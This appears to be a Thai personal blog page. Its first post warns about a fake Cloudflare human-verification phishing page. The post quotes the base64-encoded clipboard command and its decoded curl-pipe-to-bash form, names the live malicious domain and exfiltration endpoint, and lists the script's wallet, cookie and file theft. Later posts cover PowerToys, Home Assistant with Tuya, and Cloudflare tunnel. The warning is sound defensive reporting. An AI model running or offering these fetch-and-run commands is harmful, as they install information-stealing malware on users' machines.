ตัวอย่างเว็บ Phishing หลอกให้ทำ Human Verification

* การทำตามมีความเสี่ยง ถ้าไม่แน่ใจอย่าเพิ่งทำตามนะครับ

วันนี้ค้นข้อมูลเรื่องเหล็กกล่อง (ซึ่งแน่นอนว่าไม่ได้เกี่ยวอะไรกับ post นี้) จนไปเจอเว็บนี้จากผลลัพธ์ของ google, https://buildmate.co.th/product-category/square-box-steel/

ตอนเข้าไปก็ไปเจอหน้าตา Cloudflare ที่เอาไว้ verify ว่าเป็นคนจริงๆ รึเปล่า ซึ่งก็ยังดูปกติดี จน checkbox verify ก็ขึ้นภาพตามด้านล่างมา เลยเอะใจว่าทำไมเดี๋ยวนี้ตอน verify ต้องมีให้กดเปิด Terminal ขึ้นมาด้วยนะ นั่นมันออกนอก browser ไปเแล้วนี่นา ไม่ปกติมากๆเลย แล้ว cloudflare จะรู้ได้ไงนะ เทคนิคใหม่หรอ เลยลองกดปุ่ม Copy ไปตามนั้น แต่คิดละว่าไม่ใช่เว็บดีๆแน่นอน (ไม่ควรทำตามอย่างยิ่ง)

พอกดปุ่ม Copy (เพื่อจะให้ไปวางใน Terminal) ก็จะได้ข้อมูลนี้มา
echo "Y3VybCAtcyBodHRwczovL2dhbW1hLm1lc2hzb3J0ZXJpby5jb20vcGFydHkvaW5kZXgucGhwIHwgbm9odXAgYmFzaCAm" | base64 -d | bash

พอเห็นว่ามีการสั่ง decode ด้วย base64 แปลว่าน่าจะซ่อนอะไรไว้ ก็เลยลองเอาไป decode ต่ออีกที ทำให้ข้อมูลด้านล่างนี้มา

curl -s https://gamma.meshsorterio.com/party/index.php | nohup bash &

เอ้า curl ก็ curl …. ก็เลยตามน้ำไปอีก จนเจอว่าเว็บข้างบนนั้นให้ script ยาวยืดเลย ขอไม่แปะละกัน เพื่อความปลอดภัย โดยใน script นั้น พยายามทำหลายอย่าง เช่น

  • หาว่ามี metamask (web3 crypto wallet) install อยู่มั๊ย และ wallet อีกหลายๆตัว
  • พยายามจะฝังตัวเองลงมาเพื่อขโมย wallet signature
  • มีการพยายามหา uuid และ ขอ password ของเครื่อง (เดาว่าดูจากเครื่องแล้วว่าเป็น mac เลยส่ง script ที่ compatible กับ mac มา)
  • มีการพยายามลง chome extension ตาม list ที่ส่งมา
  • พยายามอ่าน cookie และ bookmark บนเครื่อง
  • พยายามขโมยไฟล์บนเครื่อง แล้วส่งออกไปที่ https://meshsorterio.com/api/data/receive
  • แถมยังไปดาวโหลด script อื่นๆมาอีก เรียกว่าเป็น malware แล้วแบบนี้

และดูแล้วเหมือน antivirus หลายเจ้าจะยังไม่ได้ดักไว้ https://www.virustotal.com/gui/domain/gamma.meshsorterio.com/detection

จบการรายงานแต่เพียงเท่านี้ สวัสดี

ปล. ที่จะสื่อคือ การเข้าเว็บเดี๋ยวนี้อันตรายมาก นอกจากต้อง verify ว่าเราเป็นคนจริงๆแล้วนั้น เราเองก็ต้อง verify คน verify ด้วย ว่ามันปกติรึเปล่า … เป็นต้น

สลับภาษาบน Windows ด้วย Caps Lock โดย PowerToys

คราวก่อน ได้แนะนำวิธีเปลี่ยนภาษาบน Windows ด้วยปุ่ม Caps lock ให้เหมือนกับฝั่ง Mac ด้วยโปรแกรม AutoHotkey ไป

มาคราวนี้ซื้อคอมพิวเตอร์ใหม่ ก็เลยลองดูว่ามีท่าอื่นที่ดีกว่าเดิมมั๊ย เลยเจอที่จะเอามาแชร์ในวันนี้ ที่น่าจะดีกว่าเดิมคือใช้ Microsoft PowerToys ที่สร้างโดย Microsoft เอง

ขั้นตอนใหญ่ๆคือ

  1. ดาวโหลดและติดตั้ง Microsoft PowerToys
  2. ทำการ Remap key ของ keyboard ให้ Cap Locks = Windows key + Spacebar
  • การติดตั้ง Microsoft PowerToys ทำได้หลายวิธี แต่วิธีที่ง่ายกับคนส่วนใหญ่ที่สุดคือ ติดตั้งผ่าน Microsoft Store https://apps.microsoft.com/detail/xp89dcgq3k6vld กด download และ install ให้เรียบแล้ว
หน้าตา Microsoft PowerToys บน Microsoft store

Home Assistant กับ Tuya Integration

หลังจากใช้งาน Home Assistant (HA) กับ Tuya มาได้พักใหญ่ คิดว่าตกผลึกประมาณนึงละ เลยอยากเล่าหน่อย

Tuya เป็นบริษัทที่ขายอุปกรณ์ Iot + platform ของจีนเจ้าใหญ่ ที่มีบริษัทเอาไปผลิต device ออกมาเยอะมากที่ใช้งานบน platform ของ Tuya มีทั้งแบบที่เป็น Wi-Fi และ Zigbee

ก่อนจะไปต่อ ต้องบอกความคิดเบื้องหลังใช้งาน Tuya กับ Home Assistant ของตัวเอง ซึ่งก็คือ

  • แอพ Tuya ต้องยังใช้งานกับอุปกรณ์ได้ปกติ
  • ไม่อยากลง custom firmware – อยากให้สามารถใช้งานได้ปกติ ไม่อยากต้องตามข่าวของ library / breaking changes ต่างๆ ของแต่ละ component
  • สามารถใช้งานกับ Google Assistant ได้ (เพื่อทำ voice commands)
  • ถ้าสามารถไม่ต้องพึ่งพา internet ได้ก็จะดี (optional)

ในการ Integrate Tuya เข้ากับ Home Assistant นั้นมีด้วยการ 2 ท่า คือ

  1. Official Tuya Integration – https://www.home-assistant.io/integrations/tuya/
    อันนี้ก็ตามตัว อันหลักของ Tuya built-in มาในระบบของ HA เอง มีข้อควรทราบคือ
    • ต้องการ Tuya Iot platform account คือเราต้องไปสมัคร developer platform เพื่อให้ได้ client detail มากรอกใน Home Assistant
    • ในการใช้งาน developer platform จะมีสิ่งที่เรียกว่า subscription อยู่ ซึ่งที่ผ่านมาจนถึงตอนนี้ ยังฟรีอยู่ (โดยเรียกว่า trial) ซึ่งเมื่อหมดอายุก็เข้ามากด ขอต่ออายุได้ … แต่แน่นอนว่าเราต้องขยันเข้ามากดขอต่ออายุนะ ไม่งั้นก็ใช้ไม่ได้
    • การต่อกับ official add-on นั้น มี mechanism ที่เป็น messaging queue (MQTT) เพื่อส่งข้อมูลของ sensor / สถานะสวิตช์ และค่าต่างๆจาก server Tuya กลับมาให้เรา ซึ่ง add-on ปัจจุบันทำสิ่งนี้ได้แย่มาก กล่าวคือ ทุกๆ 2 ชม. ตัว messaging queue credential จะหมดอายุ และ add-on เองไม่สามารถขอ token ใหม่ได้ เลยต้องมีวิธี workaround (ทีเดี๋ยวจะเขียนไว้ด้านล่าง) เพื่อให้มันใช้งานได้อย่างต่อเนื่อง
    • จากการอ่านค่าต่างๆจากตัว messaging queue ที่ว่า ทำให้ add-on ต้องพึ่งพา internet (ในการรับค่าสถานะ) ตลอดเวลา ส่วนการสั่งงานนั้น น่าจะสามารถสั่งตรงไปยัง Gateway/Hub ได้เลยโดยไม่ต้องออกอินเตอร์เน็ต

ว่าด้วยเรื่อง Cloudflare tunnel และ configuration ของมัน

ตอนนี้ที่บ้านมีใช้ Cloudflare tunnel สำหรับทำให้ Home Assistant เข้าถึงได้จากนอกบ้าน (ถ้าเป็นสมัยก่อนเราจะใช้การทำ dynamic dns + forward port จาก router) แต่ท่า Cloudflare tunnel นี้ทำอะไรได้มากกว่า แถมไม่ต้องไปพึ่งพาทั้ง dynamic dns และ configuration ของ router ที่ดีบ้างไม่ดีบ้างด้วย

ที่ผ่านมามีการใช้งานตัว tunnel ผ่าน cloudflared (ของแท้ต้องมี -ed) ที่เป็น docker image ของทาง Cloudflare เอามาทำสองอย่างคือ ทำตัว DNS ร่วมกับ Pi-hole กับเอามาทำ Tunnel เนี่ยแหล่ะ

ภาพอธิบายการทำงานของ cloudflare tunnel

ที่จะเล่าวันนี้คือ อยู่ ๆ ตัว cloudflared container (ที่รันอยู่บน k3s) ที่ทำหน้าที่ tunnel พออัพเกรด version ก็ใช้งานไม่ได้ ฟ้องว่าไม่ได้มีการ set ingress ผืด( ingress คือตัวที่บอกว่า ต้นทาง host หนึ่งๆ จะให้ forward request ไปที่ local server ตัวไหน) พยายามทำเท่าไหร่ก็ไม่สำเร็จ แก้ ingress ที่เป็น config.yaml ของมันยังไงก็ไม่เวิร์ค

สลับภาษาคีย์บอร์ดบน Windows ด้วย Caps Lock

เรื่องที่คิดว่าไม่น่าจะเกิดก็เกิดขึ้นแล้ว … ก็คือตอนนี้ย้ายมาทำงานที่ใหม่ที่ต้องใช้ Mac เป็นหลัก

ทุกอย่างก็ดำเนินไปได้ด้วยดี เพราะส่วนใหญ่แล้วเราก็ใช้ Web based application กันหมดแล้ว (เค้ายังใช้คำนี้กันมั๊ยนะ) … ตัวแอพอื่นๆบนเครื่องก็ไม่ได้มีปัญหามากนัก เดี๋ยวจะทยอยมาเล่าเรื่องแอพที่ใช้บนแมค จากคนที่ข้ามมาจาก Windows / Surface อีกทีนึง (อีกทีตลอดๆ)

อ่ะ กลับมาเข้าเรื่อง

ปัญหาที่เจอกับตัวเองคือ บน Windows นั้น ทุกวันนี้ใช้ Alt + Shift ในการเปลี่ยนภาษา ด้วยเหตุผลหลักๆสองข้อคือ

  1. มันเป็นค่าเริ่มต้น ไปจับ Windows ไหนๆ เปลี่ยนภาษาด้วยวิธีนี้ก็น่าจะเวิร์ค (ไม่ก็ใช้ Win + Space bar แต่รู้สึกว่านิ้วพันกัน)
  2. ตัว Grave Accent ( ` ) ที่เรานิยมใช้ในสมัยก่อนนั้น ทุกวันนี้เราใช้ตัวนี้มากขึ้นมาก ในการเขียน blog/wiki ด้วยภาษา markdown

ปัญหาก็เลยเกิด เมื่อ Alt + Shift จาก Windows ไปเจอกับปุ่มเปลี่ยนภาษาบน Mac ที่ใช้ Caps Lock

ความจำกัดบน Windows คือ Windows นั้น (แม้จะเป็น Windows 11 แล้วก็ตาม) ให้เลือกปุ่มเปลี่ยนภาษาได้จำกัดมาก เลยต้องหาทางแก้ด้วยทางอื่น เมื่อตัว OS ทำไม่ได้

Scroll to top